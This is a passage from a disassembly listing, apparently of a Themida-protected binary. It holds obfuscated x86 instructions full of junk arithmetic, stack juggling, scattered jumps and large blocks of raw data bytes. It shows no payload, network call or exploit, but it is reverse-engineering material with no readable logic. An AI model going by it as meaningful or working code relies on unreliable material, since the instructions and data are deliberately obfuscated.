		dd 8958C501h, 9C75E9EBh, 0B8BFFFFh, 83241C8Bh, 21E904C4h
		dd 0BB00003Dh, 713550C1h, 0BE9D989h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B07F:				; CODE XREF: Themida_:00546E9Ej
		mov	ecx, [ebx]
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_54D742
; ---------------------------------------------------------------------------


loc_54B098:				; CODE XREF: Themida_:0054AEEFj
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		push	edi
		mov	edi, 8000h
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		or	eax, eax
		jz	loc_54D327
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4D3E3A58h
		push	5F58h
		mov	[esp], eax
		mov	eax, 0B2C1C5C4h
		jmp	loc_54748D
; ---------------------------------------------------------------------------
		db 4Eh
		dd 0FFA8D7E9h, 243489FFh, 0D75A04BEh, 0AD77E90Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B132:				; CODE XREF: Themida_:0054AD3Ej
		mov	[esp], esi
		mov	esi, 4
		push	ebp
		mov	ebp, 70777E8Ah
		jmp	loc_544C29
; ---------------------------------------------------------------------------
		db 68h,	0EBh, 3Ah
		dd 60E90000h, 21FFFFF5h, 34FF1C47h, 0EAE95824h,	89FFFFFFh
		dd 0FDE9241Ch, 8900001Ah, 74FF2434h, 0DE90424h,	81FFFFD7h
		dd 0FB7E29C3h, 81EB0160h, 0FB7E29EBh, 6C38160h,	5D13852Ah
		dd 8103E3C1h, 8E7A78EBh, 3DD0E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B192:				; CODE XREF: Themida_:00548922j
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	3E8h
		jmp	loc_54798C
; ---------------------------------------------------------------------------
		dd 375F4568h, 0EAC15A25h, 81E2D105h, 390C0DEAh,	5AD689BAh
		dd 3ED2E681h, 0C14E2492h, 0F68108EEh, 0EDD4154h, 0CBE9F589h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B1CF:				; CODE XREF: Themida_:00549F19j
		push	191A1DDDh
		pop	esi
		shl	esi, 2
		add	esi, 209A0354h
		dec	esi
		sub	esi, 3B272B61h
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_545C25
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 8304C483h, 1C8704C3h, 24248B24h, 0FFEEE6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B209:				; CODE XREF: Themida_:0054E33Fj
		inc	ecx
		shl	ecx, 6
		shr	ecx, 3
		xor	ecx, 19D4C7FCh
		sub	esi, 5D6C05CCh
		add	esi, ecx
		add	esi, 5D6C05CCh
		pop	ecx
		jmp	loc_54571B
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 47460BD1h, 0FF95B8E9h, 65FFBAFFh, 0BDE96129h, 1000036h
		dd 68E981C1h, 81438132h, 0A4121BC1h, 8FDDE90Eh,	0CA00FFFFh
		dd 2A7FE959h, 8B660000h, 4AE9240Ch, 0BEFFFF86h,	4, 348BF589h
		dd 4C48124h, 50000000h,	0FFDF36E9h, 36CD68FFh, 0C890000h
		dd 4EC8324h, 0BB241C89h, 6A6B01C4h, 72BE9h, 38EA8100h
		dd 16FE06Bh, 38C281C2h,	896FE06Bh, 2434FF0Ah, 0FF9E04E9h
		dd 5BDA01FFh, 37E2BF57h, 0E7C15160h, 6807h, 3C290000h
		dd 0C7815F24h, 0FFFFFFFFh, 0FFFA0CE9h, 7AE9ADFFh, 0B3FFFF91h
		dd 0E9DD301Fh, 0FFFF8791h, 4BFh, 0E9F80100h, 3555h
; ---------------------------------------------------------------------------


loc_54B2E4:				; CODE XREF: Themida_:00545E9Aj
		add	ebp, 1AF6069Fh
		jmp	loc_5474E5
; ---------------------------------------------------------------------------
		db 0C0h
		dd 6FE905EBh, 0D1FFFFF6h, 5BCD81EDh, 5168AE30h,	46C76853h
		dd 815B0C59h, 184F05F3h, 3E3C13Fh, 4E10F381h, 0D9899A08h
		dd 89E9295Bh, 0EC8159CDh, 4, 0B8240489h, 94018881h, 158C531h
		dd 242C8BE9h, 8304C483h, 9AE904E9h, 0ACFFFFF6h,	3568D830h
		dd 0E900002Bh, 314h
; ---------------------------------------------------------------------------


loc_54B34C:				; CODE XREF: Themida_:00544584j
		xor	esi, 58624BABh
		add	esi, 9FB472BDh
		and	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_54E088
		push	edx
		jmp	loc_54437A
; ---------------------------------------------------------------------------
		db 5Dh,	55h, 0BDh
		dd 0E7D2432h, 685DEB21h, 4630h,	1CEFE9h, 56D0F700h, 316FFCBEh
		dd 2061E950h, 0E9570000h, 0FFFF9F70h, 33242C31h, 0BCE9242Ch
		dd 0FF000030h, 57582434h, 0BE565F54h, 719E10C1h, 11E9DEF7h
		dd 1FFFFCCh, 0BA5259C8h, 2, 505AD001h, 0FF8C90E9h, 0BE959FFh
		dd 8100003Fh, 2EBF8CF3h, 0E9DF017Eh, 0FFFFDDB8h, 4C2815Ah
		dd 53000000h, 4BBh, 0DAEA8100h,	8119A419h, 5D3250C2h, 0CAC28127h
		dd 81690946h, 0DF3E87C2h, 81DA2959h, 0DF3E87EAh, 0CAEA8159h
		dd 81690946h, 5D3250EAh, 0DAC28127h, 5B19A419h,	0FF944CE9h
		dd 0E9685FFFh, 8900000Dh, 2ABD242Ch, 515B1702h,	22D1BF57h
		dd 0F9895842h, 1222E95Fh, 895C0000h, 1B9240Ch, 21000000h
		dd 240C8BC8h, 4EC8353h,	50242489h, 4B8h, 24440100h, 18C6E904h
		dd 0B9510000h, 5C9A85F0h, 0FFB00EE9h, 0EC8351FFh, 24248904h
		dd 4240483h, 8B2434FFh,	2EE9240Ch, 5CFFFFBFh, 0BB241C89h
		dd 0FFFFFBFFh, 0FFC540E9h, 0FF5048FFh, 1EE92404h, 58000006h
		dd 1F968h, 24348900h, 2C0968h, 4EC8100h, 54000000h, 5724048Fh
		dd 4CA46851h, 34E91899h, 0BBFFFFB2h, 4D7D16CEh,	335DE9h
		dd 24248B00h, 24148B66h, 0D634E951h, 815EFFFFh,	4C6h, 289DE900h
		dd 0C4810000h, 4, 5168B353h, 94E93DB5h,	2DFFFFADh, 2BEF1B81h
		dd 8105F029h, 8B2BEF1Bh, 0C4832434h, 69610504h,	0D0F77C62h
		dd 0FFDBE2E9h, 89665CFFh, 0D6E9240Ch, 8700002Eh, 895C2404h
		dd 5EE9241Ch, 66FFFF8Fh, 28D5B151h, 285966CFh, 2434FFF8h
		dd 81241C8Bh, 4C4h, 4C48100h, 66000000h, 660D5668h, 0E9241C89h
		dd 0FFFFDA59h, 0EC81E689h, 4, 68241489h, 2776h,	0B8240489h
		dd 4, 0FF8620E9h, 44F581FFh, 2907B745h,	0DE015DEBh, 103BE95Bh
		dd 525A0000h, 24148B54h, 4C481h, 0E9500000h, 0FFFFA60Ch
		dd 7CC168h, 242C8900h, 0FFAC16E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B59D:				; CODE XREF: Themida_:00545F9Cj
		sub	si, 499Ch
		xor	si, 0FBE6h
		sub	bx, si
		pop	esi
		add	bx, 3A37h
		sub	bx, bp
		sub	bx, 3A37h
		add	bx, 249Dh
		pop	ebp
		jmp	loc_54D9E8
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4C681h, 0C6810000h, 4, 3085E956h, 0FF660000h, 7B87E932h
		dd 0EE81FFFFh, 10840E6Ah, 73B9BB53h, 0DE0158F9h, 17A3E9h
		dd 0FEB55100h, 8059EA08h, 0F28000EAh, 0BA5DE9A1h, 8957FFFFh
		dd 0C1F5E9E7h, 3C89FFFFh, 68E78924h, 346Bh, 0BB241C89h
		dd 39D47657h, 2B36E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B621:				; CODE XREF: Themida_:00548AF4j
		or	edi, 771B4694h
		jmp	loc_54EEA0
; ---------------------------------------------------------------------------


loc_54B62C:				; CODE XREF: Themida_:00547CD8j
		shr	ecx, 0Bh
		sub	esp, 4
		jmp	loc_5496D4
; ---------------------------------------------------------------------------
		dw 36BEh
		dd 55708E1Ah, 0FFF1C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B645:				; CODE XREF: Themida_:00549F87j
		mov	esp, [esp]
		jmp	loc_544597
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 29E95724h, 56FFFFBAh, 0E9515E54h, 726h, 0B1240C89h
		dd 51E953ABh, 8100000Bh, 4C7h, 4C78100h, 87000000h, 61E9243Ch
		dd 80FFFFA5h, 0F280F8E2h, 5AD00024h, 65AA68h, 24148900h
		dd 0F9E95366h, 66FFFFE7h, 52240C8Bh, 2434FF54h,	0FFFED9E9h
		dd 5665DFFh, 29663FBEh,	0BE2D66F0h, 348B663Fh, 0E0895024h
		dd 0FF965FE9h, 58C620FFh, 0CE9D6F6h, 8700003Ah,	6EE9242Ch
		dd 81FFFFF7h, 835F5DF2h, 814A4A1Ah, 7820D6F2h, 0E9D2F729h
		dd 0FFFFA8C8h
; ---------------------------------------------------------------------------


loc_54B6E4:				; CODE XREF: Themida_:00545AF8j
		mov	edx, esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_54D562
; ---------------------------------------------------------------------------


loc_54B6F4:				; CODE XREF: Themida_:0054A545j
		push	edi
		push	8643124h
		pop	edi
		dec	edi
		jmp	loc_54BBF9
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 0FFC155E9h, 9BEF81FFh, 0E9008D05h, 16C4h, 0C28048B0h
		dd 80C200C3h, 5866C3EAh, 0FF7EE5E9h, 241C89FFh,	51B05052h
		dd 0E958C688h, 0FFFFC6A0h
; ---------------------------------------------------------------------------


loc_54B734:				; CODE XREF: Themida_:005449C8j
		or	ebp, 34B34623h
		sub	ebp, 66B70326h
		jmp	loc_54EF7C
; ---------------------------------------------------------------------------
		db 68h,	2 dup(32h)
		dd 0B9E90000h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B74F:				; CODE XREF: Themida_:0054C346j
		add	esp, 4
		push	5887h
		mov	[esp], edx
		push	esp
		jmp	loc_54E61C
; ---------------------------------------------------------------------------
		dd 4C68159h, 87000000h,	248B2434h, 24048F24h, 518868h
		dd 24048900h, 8B2414F7h, 0C8E92404h, 900001Fh, 0E95F387Ah
		dd 0FFFFA27Dh, 4C481h, 515B0000h, 58575056h, 8358C689h
		dd 348904ECh, 0ED29E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B7A6:				; CODE XREF: Themida_:0054EBA3j
		pop	ecx
		sub	eax, 4
		xor	eax, [esp]
		jmp	loc_549EEE
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 0B0442261h, 4121E981h, 0C1E96E73h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B7C3:				; CODE XREF: Themida_:0054415Cj
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		push	ecx
		mov	ch, 0CAh
		mov	al, ch
		pop	ecx
		mov	cl, 5Dh
		add	cl, al
		jmp	loc_54820B
; ---------------------------------------------------------------------------


loc_54B7DC:				; CODE XREF: Themida_:0054BAABj
		mov	[esp], esi
		xor	dword ptr [esp], 4282EF2h
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 4282EF2h
		pop	esi
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	eax
		jmp	loc_548384
; ---------------------------------------------------------------------------
		db 53h
		dd 0C381E389h, 4, 8704C383h, 3E9241Ch, 58FFFFD8h, 19F4E9h
		dd 4905BA00h, 0D7316241h, 6B01685Ah, 3C890000h,	24348124h
		dd 36EA46F3h, 0FF8B78E9h, 241489FFh, 4BAh, 0FFD50100h
		dd 0B1E92434h, 81FFFFD0h, 67AA2404h, 0C8B1F8Bh,	0EEF7E924h
		dd 0E956FFFFh, 0CD0h
; ---------------------------------------------------------------------------


loc_54B85C:				; CODE XREF: Themida_:0054F4C0j
		mov	[esp], ebp
		jmp	loc_54661A
; ---------------------------------------------------------------------------
		dd 2846EA80h, 0C4045AD0h, 0B4505166h, 9EC8073h,	458E188h
		dd 53C80046h, 0F7E946B7h, 0ADFFFF93h, 7180BF57h, 8FE91F6Ch
		dd 5EFFFFC6h, 0FFE2CFE9h, 24148BFFh, 5004C483h,	3EAB68h
		dd 0A9E9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B8A6:				; CODE XREF: Themida_:00544B56j
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_544212
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 9B77E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B8BE:				; CODE XREF: Themida_:005446C4j
		xor	edi, [esp]
		jmp	loc_54CD70
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 9C2404ABh, 0FF7894E9h, 6F35BEFFh, 17E96F9Ah,	0B7000024h
		dd 92BE9CDh, 0B9510000h, 78A428B8h, 2AC3E9h, 3C335B00h
		dd 243C3124h, 5C243C33h, 9C2404FEh, 0FF7864E9h,	243489FFh
		dd 0FBCCE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B90A:				; CODE XREF: Themida_:0054413Fj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	264Ah
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5435A5
; ---------------------------------------------------------------------------


loc_54B92A:				; CODE XREF: Themida_:005479FBj
		pop	esi
		push	ebx
		push	ecx
		push	6D1D750Bh
		pop	ecx
		and	ecx, 28F0345Eh
		sub	ecx, 577A661Fh
		add	ecx, 4E19738Eh
		mov	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		dec	ebx
		jmp	loc_5499FF
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 0FFB2F2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B95D:				; CODE XREF: Themida_:005450DEj
		push	698F1C9Eh
		pop	ebp
		inc	ebp
		and	ebp, 40315AF8h
		add	ebp, 0BFFEE768h
		mov	edx, ebp
		pop	ebp
		add	edx, ebx
		jmp	loc_54E990
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 243C8904h, 0F0E9E789h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B98B:				; CODE XREF: Themida_:0054BCD7j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_54D118
; ---------------------------------------------------------------------------
		dd 6824048Bh, 6266h, 68243C89h,	3B16h, 81242489h, 42404h
		dd 0E95F0000h, 0FFFFD27Fh, 7B0BE381h, 0C3812B44h, 0D5BFFF04h
		dd 89DE8956h, 1C8B5EF1h, 4C48124h, 0E9000000h, 5BEh, 4C381h
		dd 0E9570000h, 2584h, 0F7DAF759h, 49C281DAh, 1A28E6Ah
		dd 0AC2CE9D0h, 0F989FFFFh, 0FFE7F4E9h, 242C89FFh, 3719CBDh
		dd 0E9D5F779h, 0FFFFF8E7h, 4EC81h, 14890000h, 101BA24h
		dd 35B97FFAh, 29870975h, 0CA18E9D1h, 0C601FFFFh, 81EE0158h
		dd 0A20F85EEh, 242C8B2Ch, 0FF89FEE9h, 243C8BFFh, 104C483h
		dd 10ACE9C1h, 34FF0000h, 0EC815824h, 4,	2580E9h, 0DEC38100h
		dd 296A4939h, 2F77E9C3h, 8B660000h, 8951240Ch, 636E68E1h
		dd 2C890000h, 7D685124h, 596FFD43h, 16BEE981h, 0C9810159h
		dd 0BC765F3h, 600F181h,	0F1813167h, 7C1B08AEh, 5659CD89h
		dd 0C53E9h
		db 0
; ---------------------------------------------------------------------------


loc_54BA9D:				; CODE XREF: Themida_:0054E31Dj
		mov	edi, [esp]
		push	edx
		jmp	loc_543EFE
; ---------------------------------------------------------------------------


loc_54BAA6:				; CODE XREF: Themida_:005431D2j
		push	4731h
		jmp	loc_54B7DC
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FFFB49E9h, 6D0558FFh, 29EADEC3h,	814558C5h
		dd 0C03994F5h, 7EDC15Ah, 0E7A8C581h, 0EE01FEE4h, 0E389535Dh
		dd 0FF7962E9h, 7683E9FFh, 0C568FFFFh, 89000024h, 4B9240Ch
		dd 0E9000000h, 0FFFFCC54h, 2BDh, 14BB5300h, 0C150677Bh
		dd 0F38103E3h, 755276F5h, 0C381434Bh, 3F4ABD91h, 15BD801h
		dd 6BE62DE8h, 0EDE935B4h, 81FFFF98h, 1EBh, 0A41AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BB2A:				; CODE XREF: Themida_:00549A06j
		dec	ebx
		not	ebx
		xor	ebx, 0DA8EAFB4h
		add	esi, 6A3747E5h
		sub	esi, 0C681628h
		add	esi, ebx
		add	esi, 0C681628h
		jmp	loc_54C841
; ---------------------------------------------------------------------------
		dd 0E91C2CACh, 0FFFF8021h, 50AAB252h, 21049DB0h, 0C230B434h
		dd 5AD78858h, 5166BDB2h, 7AE916B5h, 81FFFFE1h, 622004C3h
		dd 0E9DE0118h, 2DDBh, 815BDF01h, 4C7h, 74FF5700h, 8F5F0424h
		dd 248B2404h, 6FE95224h, 68000004h, 78644DFCh, 0C794E95Eh
		dd 5D59FFFFh, 4B951h, 0CB010000h, 0E9240C8Bh, 0FFFFF406h
; ---------------------------------------------------------------------------


loc_54BBB4:				; CODE XREF: Themida_:00545DF5j
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		jmp	loc_54F048
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 59h
		dd 8115800Ah, 42159BC3h, 81C32930h, 42159BEBh, 59EB8130h
		dd 8915800Ah, 0EE685BD8h, 0E9000058h, 3624h, 5B2434FFh
		dd 0FFC46CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BBF9:				; CODE XREF: Themida_:0054B6FCj
		dec	edi
		jmp	loc_546D90
; ---------------------------------------------------------------------------


loc_54BBFF:				; CODE XREF: Themida_:005433C8j
		add	esp, 2
		push	si
		mov	si, 23BFh
		and	bp, si
		mov	si, [esp]
		add	esp, 2
		jmp	loc_546654
; ---------------------------------------------------------------------------
		dw 7281h
		dd 0E8F83638h, 384A81B1h, 36BE789Dh, 0D13842FFh, 6A81386Ah
		dd 9D843F38h, 38428114h, 2C5C16E8h, 30FCE9h, 241C8900h
		dd 76139BBh, 2EBC14Dh, 7D8FF381h, 0EC812318h, 4, 89243489h
		dd 0B95155E6h, 6EB34D02h, 23E9CD89h, 1FFFF7Dh, 0D3015FFBh
		dd 2673EB81h, 9BE94BE1h, 0C1FFFFB4h, 0EF8104EFh, 2686752Dh
		dd 0A88EEF81h, 0FA0969BAh, 0F2EA815Fh, 1365B56h, 0B595E9D0h
		dd 0C229FFFFh, 0EDC28158h, 0E961113Ch, 0FFFFD569h, 1EBF68h
		dd 24248900h, 4240483h,	8324048Bh, 0BD5504C4h, 35CB156Eh
		dd 156AED81h, 0E80135CBh, 1A8DE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BCCE:				; CODE XREF: Themida_:0054AAD9j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_54B98B
; ---------------------------------------------------------------------------
		dd 0BCAC381h, 3C8B6D32h, 4C48124h, 8B000000h, 0C4832414h
		dd 44BF5704h, 812BE45Eh, 851324F7h, 5FFB0129h, 0FACE9h
		dd 59545100h, 4C181h, 0C1830000h, 240C8704h, 744BE95Ch
		dd 30ACFFFFh, 58E950D8h, 1000010h, 25C581DDh, 5B54653Ch
		dd 0FFA138E9h, 241487FFh, 2404895Ch, 1DA0E9h, 5EF38900h
		dd 8BD2E95Ah, 2C89FFFFh, 3A7EBD24h, 448130EBh, 77E90424h
		dd 6C0155BCh, 6C810424h, 77E90424h, 815D55BCh, 7FF72404h
		dd 0FBE97C08h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BD6F:				; CODE XREF: Themida_:00547A17j
		add	ecx, 4B1C6D1Bh
		pop	edx
		shr	ecx, 7
		push	74A7h
		mov	[esp], ecx
		jmp	loc_54AD43
; ---------------------------------------------------------------------------
		dw 4DB9h
		dd 0E92F8271h, 0FFFFD02Ch, 505AD089h, 0FFD6C6E9h, 6D33BEFFh
		dd 0EE815BA3h, 6FE05B60h, 49E4F681h, 0EE814E48h, 408F46EDh
		dd 0E9h, 8BF58900h, 89522434h, 4C281E2h, 0E9000000h, 0FFFFD563h
; ---------------------------------------------------------------------------


loc_54BDC8:				; CODE XREF: Themida_:0054E230j
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		jmp	loc_5460B0
; ---------------------------------------------------------------------------


loc_54BDDB:				; CODE XREF: Themida_:0054E0B2j
		dec	eax
		dec	eax
		inc	eax
		dec	eax
		or	eax, 20867882h
		add	eax, 0A863B635h
		add	esi, eax
		pop	eax
		add	esi, 18A53734h
		mov	ecx, [esp]
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_5463DE
; ---------------------------------------------------------------------------
		db 56h
		dd 8628E6BEh, 5EF78960h, 8102E7C1h, 917098F7h, 33BE561Bh
		dd 0F7048B6Eh, 0E4EE81D6h, 0C10C683Ah, 0E68103EEh, 207B2EECh
		dd 13EDF681h, 0F721234Dh, 8FDFE95Eh, 0EF30FFFFh, 0FFD976E9h
		dd 8B5451FFh, 6E9240Ch,	81FFFFE3h, 0CA042444h, 51755B64h
		dd 1EA1B850h, 89566259h, 5EF189C6h, 244C0158h, 240C8B08h
		dd 0E904C483h, 0FFFFDCA1h, 0EF88C588h, 363FE959h, 34FF0000h
		dd 0C4835824h, 40504h, 2050000h, 68000000h, 541Dh, 0FF240489h
		dd 8B042474h, 8BE92404h, 0E9FFFF98h, 0FFFF72B5h, 0A4D3E981h
		dd 0CF894374h, 0A9EF8159h, 0C17C305Ah, 0C78105E7h, 3BBD0452h
		dd 0E03CF81h, 0E94748EEh, 1756h, 1800ED81h, 0EA015396h
		dd 4BB535Dh, 29000000h,	14875BDAh, 24248B24h, 0BA241489h
		dd 1, 7FE9D121h, 0B8FFFFB4h, 4,	0FFAE24E9h, 4C481FFh, 0E9000000h
		dd 0FFFFFDF5h
; ---------------------------------------------------------------------------


loc_54BF10:				; CODE XREF: Themida_:0054D36Dj
		pop	ecx
		pop	edi
		shl	ebp, 2
		jmp	loc_549C10
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48124h, 81000000h,	2104246Ch, 81485D3Eh, 8C04246Ch
		dd 0E9779373h, 497h, 6E1A52BAh,	0EA814A40h, 2E2C7533h
		dd 837AEA81h, 0D009050Bh, 3548485Ah, 0ADC7EE74h, 8158C101h
		dd 90034F1h, 0E9CB01BAh, 0FFFFB620h, 89242C89h,	4C581E5h
		dd 83000000h, 2C8704C5h, 0F4E95C24h, 2DFFFF9Eh,	37710130h
		dd 8324148Bh, 9AE904C4h, 1000012h, 24148BD7h, 2076E9h
		dd 71CBE900h, 0CB01FFFFh, 0E9240C8Bh, 0FFFF98EEh
; ---------------------------------------------------------------------------


loc_54BFA4:				; CODE XREF: Themida_:0054A886j
		add	ebp, edx
		pop	edx
		push	edx
		mov	edx, 4
		add	ebp, 21512DEEh
		jmp	loc_54C4F8
; ---------------------------------------------------------------------------
		dd 7C74BF57h, 0FA297CA4h, 5AD0895Fh, 5704E8C1h,	1057F2BFh
		dd 40CF816Ch, 564AB271h, 5E19AABEh, 0B6C68120h,	0F772576Ch
		dd 20F681DEh, 4E62081Fh, 0EBC6814Eh, 96863C4h, 0C7815EF7h
		dd 20983390h, 3DF7C781h, 0F83163E9h, 0DF59E95Fh, 0E289FFFFh
		dd 840BE955h, 0DAF7FFFFh, 0D2F7EAD1h, 54A8CA81h, 0F28148DEh
		dd 7EB2DAFh, 5B0FEA81h,	0D629CD15h, 0A8B6E95Ah,	0C483FFFFh
		dd 77C6E904h, 0BF57FFFFh, 4D631793h, 4F01C783h,	0FFC5FBE9h
		dd 24248BFFh, 0FF7118E9h, 0E9CA81FFh, 0E913124Eh, 0FFFF7C0Bh
; ---------------------------------------------------------------------------


loc_54C058:				; CODE XREF: Themida_:00548F54j
		mov	[esp], edi
		mov	edi, 70D23BD3h
		push	esi
		jmp	loc_54A9E8
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 2BD242Ch, 1000000h, 242C8BE8h, 8304C483h, 48904ECh
		dd 2474FF24h, 48F5804h,	24248B24h, 9C243CD3h, 0FF70D4E9h
		dd 0C6814EFFh, 187E7BAAh, 0FFA979E9h, 0D9E981FFh, 0E9064861h
		dd 23ACh, 0DAAFE957h, 0E3C1FFFFh, 12F38102h, 290B2993h
		dd 0FF505BD8h, 58042474h, 0E924048Fh, 0FFFF829Bh, 2B9h
		dd 939CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C0D2:				; CODE XREF: Themida_:00547098j
		add	[edx], ecx
		pop	edx
		mov	ecx, [esp]
		push	eax
		jmp	loc_543A74
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 751568h, 242C8900h, 381231BDh, 0D5F74526h, 81DDF745h
		dd 0C7EDD2C5h, 5DEF01D9h, 4C781h, 3C870000h, 24248B24h
		dd 8904EC83h, 0E6892434h, 8904EC83h, 0BA52242Ch, 0BF0576Fh
		dd 98EA814Ah, 0C1135714h, 0B0E908EAh, 8900001Dh, 0BB682404h
		dd 89000032h, 0FF582434h, 0CAE92434h, 81FFFF86h, 4C1h
		dd 4E98100h, 87000000h,	248B240Ch, 242C8924h, 168h, 2434FF00h
		dd 4C4835Dh, 2C8BE821h,	4C48324h, 0FFC47FE9h, 0C8B66FFh
		dd 336CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C176:				; CODE XREF: Themida_:00543B33j
		shl	eax, cl
		push	ecx
		push	edi
		mov	edi, 47316DACh
		mov	ecx, 0B8CE9255h
		jmp	loc_5481FE
; ---------------------------------------------------------------------------
		db 40h,	2Dh, 41h
		dd 3541D43Ah, 0EBE545BDh, 8758C701h, 248B243Ch,	4EC8124h
		dd 89000000h, 0FE882414h, 4247C8Ah, 4247488h, 90AE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C1B6:				; CODE XREF: Themida_:0054C24Ej
		push	ebp
		jmp	loc_544454
; ---------------------------------------------------------------------------
		dd 0F900FFB7h, 0FF99F0E9h, 81D2F7FFh, 0AEA1DEC2h, 0DED1E9B7h
		dd 0C33FFFFh, 240C3124h, 0E9240C33h, 0FFFFA4AFh, 7F9868h
		dd 24148900h, 8350E289h, 148904ECh, 33796824h, 0F75A04DAh
		dd 34EA81D2h, 57539B04h, 0A95C8CBFh, 5FFA3167h,	0FFFDABE9h
		dd 80C1B6FFh, 0FE005EC6h, 0E95EEE80h, 0FFFFE473h, 0BD2ECF05h
		dd 2DD8015Ch, 5CBD2ECFh, 8C1D5C2Dh, 4EC8164h, 89000000h
		dd 86E92414h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C23B:				; CODE XREF: Themida_:00544BE0j
		pop	ecx
		add	esp, 4
		pop	eax
		push	edi
		mov	edi, 264A7E18h
		xor	eax, edi
		mov	edi, [esp]
		jmp	loc_54C1B6
; ---------------------------------------------------------------------------
		db 0BDh
		dd 15356B80h, 356B82B8h, 36F62D15h, 0E8295B38h,	3836F605h
		dd 0E95D5Bh, 9FFFFCFh
		db 0C2h, 0D1h, 0E2h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_545F62
; ---------------------------------------------------------------------------


loc_54C287:				; CODE XREF: Themida_:0054ADDCj
		push	eax
		mov	eax, 64A5470Eh
		not	eax
		and	eax, 6F073A04h
		jmp	loc_54AD89
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0E9h
		dd 0B3037EFAh, 3227E9h,	6EBBE900h, 0B6E9FFFFh, 66FFFF6Eh
		dd 5224048Bh, 0BF57E289h, 4, 5D6E9h, 24343300h,	6824248Bh
		dd 1A8Dh, 0E9241C89h, 0FFFFAE20h, 27B8685Ch, 9EE90000h
		dd 8100000Fh, 2C3h, 241C8700h, 401665Ch, 72E99C24h, 81FFFF6Eh
		dd 627480F7h, 0C1DFF77Bh, 0F78105EFh, 7F9924C8h, 45E8EF81h
		dd 0B951D039h, 2E9A1F05h, 0C181E9D1h, 636B5269h, 159CB29h
		dd 0EBC381FBh, 8B7AB861h, 0C481243Ch, 4, 0FE9D801h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C333:				; CODE XREF: Themida_:005474E0j
		pop	edx
		or	eax, eax
		jz	loc_547F77
